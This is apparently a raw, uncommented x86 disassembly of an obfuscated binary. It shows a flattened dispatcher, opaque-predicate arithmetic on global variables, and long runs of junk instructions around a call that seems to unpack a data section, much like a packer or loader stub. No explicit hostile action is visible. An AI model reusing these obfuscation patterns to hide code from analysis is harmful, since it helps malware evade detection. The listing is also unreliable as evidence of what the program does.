mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, 0xca74c9e4
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1008c1d0
and eax, 0x607020d
mov edx, ecx
and edx, 0x29300c02
or ecx, 0x3030c0c2
or esi, edx
and ecx, 0xf0f0f0e2
mov edx, esi
xor edx, 0x80110
xor esi, 0xe0f03022
or eax, ecx
and esi, 0xf0f0f0e2
and edx, 0x9080d10
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x1a7c2399
and ecx, 0xe583dc66
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x44a90090
xor ecx, 0x2344ee4b
xor eax, 0x143bb5f5
mov esi, ecx
and edx, 0x46ad049b
and esi, 0xb952fb64
and eax, ecx
or esi, edx
mov ecx, esi
mov edx, esi
xor ecx, 0xb952fb64
xor edx, 0x71d25f25
xor esi, 0x44810491
and edx, ecx
and esi, 0x7dd166f1
or eax, edx
mov edx, eax
not edx
and eax, 0x377f5bbf
and edx, 0xc880a440
or eax, edx
mov edx, ecx
and edx, 0x822e990e
and ecx, 1
or edx, esi
mov esi, edx
xor esi, 0x610006f0
xor edx, 0x80221104
or ecx, esi
and edx, 0x9cf37104
and ecx, 0x630c8efb
or ecx, edx
xor ecx, 0x630c8efb
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x53532043
and ecx, 0x480d014
mov edx, eax
or edx, 0x80480
and esi, 0x535b24c3
and eax, 0xa8240b28
and edx, 0x535b24c3
or eax, esi
mov esi, 0x454e4029
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x197e5bb9
and eax, 0xe681a446
or ecx, eax
mov eax, ecx
xor eax, 0xa0101401
xor ecx, 0xe8480a2
and eax, 0xe0393f4d
and ecx, 0x1fc6c0b2
or ecx, eax
mov eax, ecx
xor eax, 0xe0211d04
xor ecx, 0x134080a2
and ecx, 0x1358a2eb
and eax, 0xeca75d14
or eax, ecx
cmp eax, 0xeca75d14
sete ah
cmp dword [0x460980], 0xa
setl dl
setge al
mov ch, dl
xor al, ah
or dl, ah
xor ch, ah
mov cl, al
xor ch, 1
xor cl, 1
mov ah, ch
xor ah, dl
or dl, ch
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
mov edx, ecx
and dl, al
xor ah, 1
xor dl, 1
or ah, ch
or dl, al
xor dl, 1
or dl, cl
mov ecx, 0x528090e7
xor dl, ah
xor ah, 1
or ah, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x528090e7
jmp 0x412955
mov eax, dword [0x460984]
mov esi, 0x326c7593
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x71d9c53b
and ecx, 0x8e263ac4
or edx, ecx
xor edx, 0x71d9c53b
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7b1b87f0
and ecx, 0x84e4780f
or ecx, eax
mov eax, ecx
xor eax, 0x42807
xor ecx, 0x6a1a06e0
and ecx, 0xeefa56e8
and eax, 0x1105a917
or eax, ecx
xor eax, 0x1105a917
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
mov ch, al
mov dh, al
xor dh, dl
inc ch
mov cl, ch
and dh, al
and ch, ah
and al, dl
or al, ch
xor cl, ah
or al, dh
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0x4121ee35
cmovne eax, esi
test dl, 1
mov edx, 0x4121ee35
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402900
mov eax, 0x3289f5d5
jmp 0x402900
mov eax, 0x31655f01
jmp 0x402900
mov eax, 0xdd3ccfc7
jmp 0x402900
cmp byte [ebp - 0xa6], 0
mov eax, 0xe52c2dc0
mov ecx, 0x66e29ab7
cmovne eax, ecx
jmp 0x402900
mov eax, 0xc8b26431
jmp 0x402900
mov eax, 0xabe09772
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xe8bc1842
mov esi, eax
and esi, 0x1743e7bc
and eax, 0xcaca6ace
or edx, esi
mov esi, edx
xor esi, 0xa8300842
xor edx, 0x1743e7bd
mov edi, edx
and edi, 0x43ce1389
and esi, 0xbc31ec76
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x35359531
mov ebx, edi
not ebx
and edi, 0xbc31ec76
or eax, ecx
or edx, ebx
and ebx, 0x43ce1389
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xcaca6ace
mov edi, esi
and edi, 0x35359531
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xc0cda7ba
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x7e0255e6
cmovne ecx, esi
test al, al
mov eax, 0x7e0255e6
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x43a15bf9
mov edx, eax
not edx
mov edi, eax
or edi, 0xa45a8006
and ecx, eax
and edi, 0xe45ad397
and edx, 0x3a10868
mov esi, ecx
not esi
and ecx, 0x1ba52c68
or edx, edi
or eax, esi
and esi, 0xe45ad397
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xbc5ea406
and eax, 0x43a15bf9
or eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xdebc7412
mov edi, edx
mov esi, ecx
and esi, 0x76126f2c
and edi, 0x14180c1
or edx, 1
or edi, esi
mov esi, eax
xor esi, 0x21438bed
and esi, eax
and eax, 0xc6d2bdf6
mov ebx, esi
not ebx
and esi, 0x89ed90d3
or ecx, ebx
and ebx, 0x76126f2c
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x21438bec
and esi, 0xdebc7413
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc6d2bdf6
mov edi, esi
or esi, edx
and edi, 0x392d4209
and edx, 0x392d4209
or ecx, edi
or eax, edx
not esi
xor eax, ecx
or esi, eax
mov eax, esi
not eax
and esi, 0xe646734d
and eax, 0x19b98cb2
or esi, eax
mov eax, esi
xor eax, 0x84443200
xor esi, 0x19b98cb2
mov ecx, esi
and ecx, 0x6a33c5ff
and eax, 0x95cc3a00
or eax, ecx
xor eax, 0x95cc3a00
or eax, esi
mov esi, 0x43d99012
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
setge cl
mov al, cl
xor al, ch
or ch, cl
mov edx, eax
xor ch, 1
not dl
and dl, cl
or dl, ch
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, cl
or cl, al
not cl
or cl, ah
mov eax, 0x2fc5a7c7
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0x43d99012
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
cmove eax, esi
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0xa96b153c
and eax, 0x5694eac3
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xe471c476
mov edx, eax
xor edx, 0x5694eac3
xor eax, 0xa96b153c
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x460980], 0xa
mov al, ah
setge ch
setl cl
xor al, ch
or ch, dl
and al, dl
or dl, cl
xor cl, ah
mov ah, dl
xor al, 1
mov dh, al
or al, ch
xor ah, cl
or cl, dl
xor cl, 1
xor dh, ch
xor al, 1
or al, dh
or cl, ah
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xfddca21
cmovne eax, esi
test dl, 1
mov edx, 0xfddca21
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov ecx, dword [0x460984]
mov edi, 0xf6762136
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x422bf959
and eax, 0xbdd406a6
or edx, eax
xor edx, 0x422bf959
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x91d6a895
and ecx, 0xe1150680
mov eax, esi
and esi, 0x6e29576a
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x1eeaf97e
or ecx, esi
mov esi, edx
xor esi, 0x81140080
xor edx, 0x6e29576b
or eax, edx
and edx, 0x1eeaf97e
and esi, 0xe1150681
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xffd846f2
and eax, 0x27b90d
or ecx, eax
mov eax, ecx
xor eax, 0xe1804432
xor ecx, 0x27b90d
mov esi, ecx
and esi, 0x1e5f8ac4
and eax, 0xe1a0753b
or eax, esi
mov esi, edx
not esi
and edx, 0xe1a0753b
or ecx, esi
and esi, 0x1e5f8ac4
or edx, esi
not ecx
mov esi, 0x112137fa
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x321d9a48
mov edx, eax
and edx, 0xcde265b7
or ecx, edx
xor ecx, 0x321d9a48
or ecx, eax
xor ecx, 0xffffffff
setne al
sete cl
cmp dword [0x460980], 0xa
setl ch
setge ah
mov dl, ch
and al, ch
and ah, cl
xor ch, cl
or dl, cl
or al, ah
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
mov edx, 0xf6762136
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x402900
mov eax, 0x8069c4cd
jmp 0x402900
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, 0x74d906c6
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x460984]
mov ebx, 0xa164103e
mov edi, 0xa164103e
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x6e37e18
mov esi, edx
and esi, 0xfffffffe
and edx, 0xf91c81e7
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x6a1ad350
xor eax, 0x6e37e18
and esi, 0x95e52caf
or ecx, esi
mov esi, 0x7ef816e1
xor ecx, 0x6a1ad350
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x460980], 0xa
setl al
setge cl
mov ch, al
and dl, al
or al, ah
and cl, ah
xor ch, ah
xor al, 1
or cl, dl
or al, ch
mov edx, ecx
mov ch, al
xor dl, 1
and cl, al
not ch
or al, dl
and dl, ch
mov ah, al
or dl, cl
xor ah, dl
test ah, 1
cmovne ebx, esi
test dl, dl
mov edx, ebx
cmovne edx, edi
test al, al
cmovne edx, ebx
mov eax, edx
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xa210bf86
and edx, 0x5def4079
mov esi, ecx
not esi
and ecx, 0x2d5fd6f0
or eax, edx
mov edx, eax
xor edx, 0x20109680
xor eax, 0x5def4079
mov edi, eax
or eax, esi
and esi, 0xd2a0290f
and edi, 0xd2a0290f
and edx, 0x2d5fd6f0
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov esi, eax
or esi, 0x102a8400
mov ecx, edx
mov edi, edx
or ecx, 0x23015054
and esi, 0x332bd454
and edi, 0xcc902a8a
or edx, 1
or edi, esi
mov esi, eax
and ecx, 0x332bd454
and esi, 0x440121
and eax, 0xe7613b88
or esi, ecx
xor esi, edi
mov ecx, esi
not ecx
and esi, 0xef917adf
and ecx, 0x106e8520
or esi, ecx
mov ecx, esi
not ecx
and esi, 0xe7613b89
mov edi, ecx
or ecx, edx
and edi, 0x189ec476
and edx, 0x189ec476
or esi, edi
or eax, edx
not ecx
xor eax, esi
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x21868200
and ecx, 0x42110f7
mov edx, eax
or edx, 0x82484c00
and esi, 0xa3cece00
and eax, 0x58102108
and edx, 0xa3cece00
or eax, esi
mov esi, 0xc49d63a3
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xda586d08
and eax, 0x25a792f7
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xdd3815dd
mov edx, eax
and edx, 0x22c7ea22
or ecx, edx
xor ecx, 0xdd3815dd
or ecx, eax
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
xor al, 1
mov ecx, eax
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
mov edx, 0x27aac24f
cmovne edx, esi
test al, al
mov eax, 0x27aac24f
jmp 0x411a5a
mov eax, dword [0x460984]
mov edi, 0x2bdcd932
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x36ca0ca5
mov eax, ecx
and eax, 0x4c20ca4
and edx, ecx
not ecx
and ecx, 0x32080001
or eax, ecx
xor eax, 0x4c20ca4
or eax, edx
not edx
and edx, 0xc935f35a
and eax, 0x36ca0ca5
or eax, edx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xfc9eae2d
mov esi, ecx
and esi, 0x36151d2
or edx, esi
mov esi, eax
not esi
and eax, 0xfc9eae2d
or ecx, esi
and esi, 0x36151d2
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x90d277ea
and ecx, 0x6f2d8815
or eax, ecx
mov ecx, eax
xor ecx, 0x101257ea
xor eax, 0x6f2d8815
mov esi, eax
and esi, 0xa4c8a801
and ecx, 0x5b3757fe
or ecx, esi
mov esi, edx
not esi
and edx, 0x5b3757fe
or eax, esi
and esi, 0xa4c8a801
or edx, esi
not eax
mov esi, 0x6c1a2f1e
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2c3317b6
and ecx, 0xd3cce849
or ecx, eax
mov eax, ecx
xor eax, 0x100432
xor ecx, 0x3482849
and ecx, 0x2f6b3bcd
and eax, 0xd094c432
or eax, ecx
cmp eax, 0xd094c432
sete al
cmp dword [0x460980], 0xa
setl cl
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ch, al
xor ch, dl
test al, al
mov eax, 0x2bdcd932
cmovne eax, esi
test dl, dl
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402900
mov eax, 0xe15cd385
jmp 0x402900
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x44]
mov dword [eax], ecx
not esi
rcl eax, 0x7b
imul eax
inc eax
bswap esi
dec edx
sub eax, 0x2a
dec edx
add esi, 0x62
inc esi
or edi, 0x70
neg edi
ror edx, 0x82
rcl edi, 0x68
inc edx
neg esi
rcr esi, 0x70
rcr edi, 0x3f
imul edx
mov edi, 0x5c
sbb ebx, 0xc1
bswap ebx
neg edi
dec edi
inc edx
sub edx, 0x4a
neg edi
imul ebx
imul esi
sub edx, 0xd5
rcl esi, 0xa2
add ebx, 0xc1
rcl esi, 0xb6
imul edi
imul ebx
mov edi, 0xfb
neg edi
bswap esi
bswap ebx
inc edi
sbb edi, 0x3b
inc esi
ror ebx, 0xe9
dec esi
inc edi
bswap eax
rol eax, 0x3f
and eax, 0xe0
sub eax, 2
rcr edi, 0x90
neg esi
ror edx, 0x7f
bswap esi
mov ebx, 0x15
mov edi, 0x5e
neg edi
add esi, 0xcf
mov esi, 0x1d
sbb esi, 0xbd
ror esi, 0x56
imul eax
not esi
inc ebx
sub esi, 0xd5
inc ebx
neg edi
bswap esi
inc edx
dec ebx
inc edi
imul eax
mov esi, 0x6b
mov ebx, 0xf5
add ebx, 0x76
mov edx, 0x4e
rol ebx, 0xb0
neg edx
bswap edx
inc eax
bswap esi
dec edx
or eax, 0x9f
neg eax
bswap ebx
sub edi, 0xeb
imul edx
not esi
rcr esi, 0x53
sub edx, 8
inc edi
or eax, 0x75
bswap edx
rcl eax, 0x76
and edi, 0xe5
bswap eax
sbb esi, 0x4f
dec ebx
and eax, 0xad
sbb edx, 0x5d
sbb edi, 0xb9
add eax, 0x4a
not eax
bswap esi
inc eax
mov edx, 0xad
add eax, 0xb5
rol eax, 0xf
imul edi
imul ebx
imul edi
rcl eax, 0
inc ebx
sub eax, 0xdb
add esi, 0xd0
or eax, 0x1b
bswap eax
neg edx
dec eax
and edx, 0xde
dec edx
mov eax, 0
or edx, 0xfe
sbb edx, 0xf9
mov edx, 0xef
rcl eax, 0x93
sub eax, 0x8e
rcl eax, 0x99
or eax, 0xad
rcr eax, 0x2b
and edi, 0x1c
imul edx
rcr edi, 0xdb
rcl edx, 0x25
inc eax
inc ebx
imul ebx
bswap edx
bswap esi
dec eax
inc edx
not esi
bswap eax
inc edi
not edi
rol edx, 0xc
add edi, 0xd5
inc edi
add edx, 0xd4
sub eax, 0xd0
sub edx, 0x60
sbb eax, 0x10
dec edx
add esi, 0x30
ror esi, 0x3b
rol eax, 0x15
inc edi
neg esi
sbb edi, 0x2f
inc ebx
sbb eax, 0xf6
add edi, 0xbd
imul edx
add edi, 0x64
inc edx
dec ebx
bswap esi
sub edi, 0x92
imul esi
dec eax
mov esi, 0x12
sub edx, 0xe4
inc edx
sbb edi, 0x92
imul edi
bswap esi
sbb edx, 0x4f
imul edx
rol edx, 0x67
add ebx, 0xf9
rcr eax, 0xa8
not esi
inc eax
sub esi, 0x22
imul edi
not esi
mov edi, 0xa7
mov ebx, 0x5a
and edx, 0xd
dec edx
rcl esi, 0xcf
rcl ebx, 0x23
not edx
neg ebx
bswap ebx
and esi, 0x76
ror edi, 0x75
and ebx, 0x2d
sbb edx, 0xea
sub eax, 0x68
mov edi, 0xbf
rol eax, 0x95
neg eax
rcr ebx, 0x56
sub ebx, 0xf2
not eax
rcl ebx, 0xb
sbb esi, 0xb4
rol ebx, 0xca
add edi, 0x10
neg eax
inc esi
sub edx, 2
add esi, 0x50
rol eax, 0x32
mov edx, 0x52
sbb edi, 0x59
sbb edx, 0x98
sbb eax, 0xe2
sub ebx, 0xf0
dec eax
mov edx, 0xeb
imul edx
neg ebx
bswap ebx
rol esi, 0x94
rcl edx, 0xf9
sub esi, 0x7b
rol edx, 0x6f
not edx
rcl edi, 0x91
mov eax, 0xbb
add ebx, 0x8b
rcl esi, 0x7f
neg edx
sub eax, 0x1e
bswap edx
neg edx
bswap edx
rcl edx, 0x67
sbb edi, 0x6d
ror ebx, 0xea
sbb ebx, 0x3f
neg edi
rcr ebx, 0xec
sub edx, 0x6f
sbb esi, 0xd4
dec edx
mov edi, 0x9e
neg edx
dec edi
mov ebx, 0x31
imul edx
neg ebx
imul edx
dec eax
ror esi, 0x44
dec edx
sub edx, 0x90
ror edx, 0x6f
rol ebx, 0xc7
dec edi
inc eax
dec eax
inc ebx
not esi
and ebx, 0xae
rcr esi, 0xd8
bswap ebx
and esi, 0x4f
not edi
bswap ebx
neg ebx
rol ebx, 0x79
not edi
not edi
ror edi, 0x73
inc edi
rcr ebx, 0x75
rcr eax, 0xd
sbb edi, 0x8f
and eax, 0xa8
add edx, 0xc4
imul edi
bswap eax
neg eax
or esi, 0xd4
sub edi, 0x46
neg edx
and esi, 0xb5
sbb ebx, 0xbf
ror ebx, 0x68
and eax, 0x3c
imul edi
or eax, 0xb9
mov esi, 0x16
rol edx, 0x17
imul edx
inc ebx
rol edx, 0xdb
inc esi
not edi
and esi, 0x5a
imul edi
bswap ebx
imul eax
not ebx
mov ebx, 0x9e
ror ebx, 0x27
imul ebx
or edx, 0x4b
dec edx
and edi, 0x4e
dec edi
sbb esi, 0xfd
bswap edx
neg edi
inc edx
dec eax
sbb edx, 0x7f
inc eax
dec ebx
ror esi, 0x3c
imul edx
inc esi
imul eax
rcl eax, 0xe
sbb esi, 0x7d
rol edx, 0x4b
rcr edx, 0x71
or esi, 0xa9
bswap edx
sub eax, 0x73
dec edx
not esi
neg ebx
sub ebx, 0x82
rcr ebx, 0x8f
rcl edx, 0xa5
neg edx
imul edx
rcr esi, 0x17
rcl edi, 0xec
neg edx
not ebx
sub ebx, 0x99
add ebx, 0xa0
mov edi, 0xbc
rcl esi, 0x6b
bswap edx
imul esi
rcl eax, 0xe9
neg eax
imul edx
not esi
ror edx, 0xeb
not eax
imul eax
ror edx, 0xa7
neg edx
or edx, 0xff
sub esi, 0x78
rcr esi, 0x2c
rcl ebx, 0xb
bswap edi
neg eax
add edi, 0x2a
mov eax, 0x1c
sbb eax, 0xba
sbb edx, 0xfc
imul edi
rcl esi, 0x62
and eax, 0xb7
bswap esi
neg eax
not eax
dec esi
sbb edx, 0xa9
bswap esi
ror edx, 0x87
not edi
mov ebx, 0x36
ror edi, 0x10
sbb eax, 0x13
rcl esi, 0xc4
add esi, 0x72
sbb eax, 0xbf
inc edx
rcl eax, 0x46
sbb esi, 0xce
dec ebx
not ebx
ror edx, 0xab
sbb edi, 0x66
sbb esi, 0x45
neg edi
inc esi
bswap ebx
rol edi, 8
mov ebx, 0x38
not edx
and edi, 0x94
inc ebx
dec edi
add ebx, 0x4d
ror esi, 0x3f
sbb edx, 0x73
dec edx
bswap eax
and edi, 0x29
not esi
dec edx
imul ebx
dec ebx
not edx
and eax, 0xd3
sbb esi, 0xcb
neg esi
or edi, 0xee
bswap edx
neg edi
rol esi, 0xb9
or esi, 0x98
not eax
mov eax, 0x1c
add ebx, 0xf4
rcl edi, 0x4d
bswap edi
inc edx
not edx
sbb eax, 0x35
add eax, 0x7a
neg edi
dec edi
inc ebx
bswap edx
imul edi
imul ebx
not edx
imul edx
not ebx
or edx, 0xde
ror edx, 0x46
dec eax
and esi, 0xfb
sub ebx, 0xae
rol eax, 0x86
not ebx
add edi, 0x2e
neg ebx
rcl edx, 0x6c
ror esi, 0x4b
dec ebx
rcl eax, 0x26
mov eax, 0xfa
and ebx, 0x77
imul esi
not edi
bswap eax
rcr ebx, 0x2c
dec ebx
ror esi, 0xc0
rol edi, 0x7c
not ebx
add ebx, 0x45
ror esi, 0x5f
imul edi
sbb eax, 0x59
rcl eax, 0x47
sbb eax, 0x17
not ebx
imul eax
neg ebx
mov edx, 0xf6
bswap ebx
mov esi, 0xfd
not edx
rcl edi, 0xa1
or eax, 0x98
neg edx
or esi, 0xe
neg edx
sbb edx, 0xe0
mov edx, 0xc2
rcr ebx, 0x21
imul eax
imul esi
inc esi
inc eax
not eax
sub ebx, 0xd
rcl edi, 0xf8
mov edi, 0x1d
and edi, 0xe2
add ebx, 0x56
neg edx
ror ebx, 0xc9
neg ebx
neg esi
dec esi
neg edx
inc eax
not edi
neg eax
rol eax, 0xce
rcl eax, 0xcb
bswap esi
add esi, 0x32
neg edi
mov ebx, 0x40
sub eax, 0xb5
or edx, 0xce
or eax, 0x76
sbb esi, 0xe3
inc edx
not ebx
inc esi
bswap eax
dec ebx
dec edx
not ebx
dec edi
imul edi
rcr eax, 0x19
add esi, 0x67
add eax, 0x66
rol eax, 0x3b
inc edi
not esi
neg esi
imul edx
bswap ebx
mov eax, 0x93
not esi
sbb eax, 0x1a
or edx, 0x36
ror edx, 0x4b
inc esi
imul ebx
neg eax
and ebx, 4
inc edi
inc edi
rcl esi, 0x73
and ebx, 0xba
bswap esi
bswap esi
rol eax, 0x51
imul edi
rcr edx, 0xcd
not edi
sub edx, 0xf3
dec edi
mov edi, 0xb0
bswap eax
imul edi
rcl edx, 5
not ebx
rcr ebx, 6
mov eax, 0x9d
imul esi
bswap eax
inc edi
bswap ebx
sub eax, 0xd6
bswap edx
neg esi
rcl edx, 0xfc
not ebx
bswap edx
mov edi, 0x1f
rcl eax, 0x2e
rcr ebx, 0xee
rcl ebx, 0x96
imul eax
inc edi
not edx
not ebx
imul edx
imul ebx
rol esi, 0x89
bswap esi
inc esi
and eax, 0x71
mov ebx, 0xdb
bswap ebx
not edi
dec edi
dec edx
imul edx
and ebx, 0x9e
inc edx
bswap ebx
sbb edx, 0x58
bswap esi
mov edx, 0x29
inc edx
add edx, 0x49
bswap eax
mov ebx, 0x31
add eax, 0xfc
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x1b600
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x44]
mov dword [eax], section..data
inc ebx
add edx, 0x76
and eax, 0xa6
or edi, 0xe9
rcr edx, 0x79
not ebx
add ebx, 0xbf
inc edi
inc eax
rcr edx, 0x50
sbb edi, 0x44
ror edi, 0x6f
sub esi, 0x7c
rcr ebx, 0x50
sbb ebx, 0x5e
ror eax, 0xdd
rol eax, 0x8b
not edi
and ebx, 0x61
or esi, 0xc4
dec edx
rcr esi, 0xdd
sbb edx, 0x49
inc esi
add eax, 0
rol esi, 0xd
neg edi
or edx, 0xcb
rcr eax, 0x46
imul esi
rcr eax, 0x15
add edx, 0xe4
sbb edx, 0x86
not edx
mov ebx, 0x1a
rol esi, 0xd6
neg ebx
not edx
rcl edi, 0xc8
add edx, 0x98
and eax, 0xec
sub edx, 0xbd
inc ebx
add ebx, 0x37
imul edi
neg edx
sbb edx, 0x98
and edi, 0x2e
imul ebx
rol eax, 0xc4
not edx
neg ebx
add edi, 0xbe
bswap eax
sbb eax, 0xac
and eax, 0xb6
mov esi, 0x3f
neg ebx
neg esi
not edi
rcl eax, 0x5f
and ebx, 0xf8
neg ebx
rcl edx, 0x69
sub ebx, 0x23
not eax
mov eax, 0x11
sub eax, 6
sub edi, 0xbd
ror ebx, 0xf5
rcl ebx, 0xa9
bswap eax
or edx, 0xe3
inc esi
ror ebx, 0x55
rcl ebx, 7
not ebx
rcr ebx, 0xf4
or edi, 0xe0
bswap eax
neg esi
neg ebx
rcr esi, 0xc4
and ebx, 0xcb
imul esi
inc ebx
add ebx, 0xe8
rcr esi, 0x27
not ebx
mov eax, 0xdd
sbb ebx, 0xba
inc edx
ror esi, 0x27
imul edx
ror ebx, 0xda
rol ebx, 0x62
neg edi
dec esi
imul edi
dec ebx
inc ebx
rcl eax, 0x92
neg edi
neg edi
inc edx
imul edx
bswap ebx
sub eax, 0xd4
inc edx
rcr ebx, 0xf3
add edx, 0xe5
dec esi
rcr esi, 1
not edi
inc eax
dec esi
imul esi
imul edi
inc edi
not edx
neg edi
bswap ebx
neg esi
neg edx
dec edx
not esi
imul ebx
add eax, 0xf7
rcr ebx, 0xce
mov ebx, 0x6f
rcr edi, 0xb2
rol esi, 0x21
sub esi, 0x4f
neg esi
dec esi
inc esi
dec edi
and eax, 0x7f
dec edx
inc eax
neg ebx
ror edx, 0xda
rcr esi, 0x37
not ebx
inc ebx
bswap eax
dec eax
dec esi
imul ebx
and esi, 0x5e
inc eax
mov esi, 0xb5
imul edx
imul edi
rol edi, 0x37
mov edi, 0xeb
imul edx
inc ebx
inc eax
neg eax
mov esi, 0x10
add edx, 8
mov ebx, 0xea
inc edi
sub edi, 0x3e
mov esi, 0x84
rcl eax, 0xc4
and ebx, 0x6d
bswap edi
or ebx, 0x1a
or esi, 0xb6
ror eax, 0x30
inc esi
not esi
neg eax
imul eax
neg eax
inc ebx
rcl edx, 0xc9
add edx, 0xa3
dec edi
inc esi
ror edx, 0xa1
rcr eax, 0x8f
neg eax
or edi, 0xef
inc ebx
rcr edi, 0x2e
bswap edi
dec edi
rcl edx, 0x15
dec eax
imul edi
rcr esi, 0x3e
rcl esi, 0x76
rcl eax, 0x2a
imul edx
add esi, 0x1a
sbb esi, 0x15
sbb edx, 0xfe
and esi, 0x46
rcr esi, 0x6b
sbb esi, 0x53
or esi, 0x44
imul esi
dec eax
and esi, 0x64
ror ebx, 0xbb
bswap ebx
dec edx
inc eax
dec esi
ror esi, 0x2b
dec ebx
rcr edi, 0x66
imul edx
rcl ebx, 0xa8
dec edi
neg edx
inc esi
bswap ebx
inc esi
not eax
inc eax
inc edx
sub ebx, 0xd0
inc esi
add edi, 0xa3
rol edx, 0xdb
not ebx
imul edi
or edx, 0x34
not eax
dec eax
dec esi
bswap edi
ror edi, 0x3b
sub ebx, 0xda
bswap edx
mov esi, 0xd
ror ebx, 0x52
dec edx
rcl edx, 0x95
not edx
sbb esi, 0x71
mov edi, 0x14
imul edx
add esi, 0xa0
imul ebx
bswap edi
add eax, 0xf7
imul eax
or esi, 0xcf
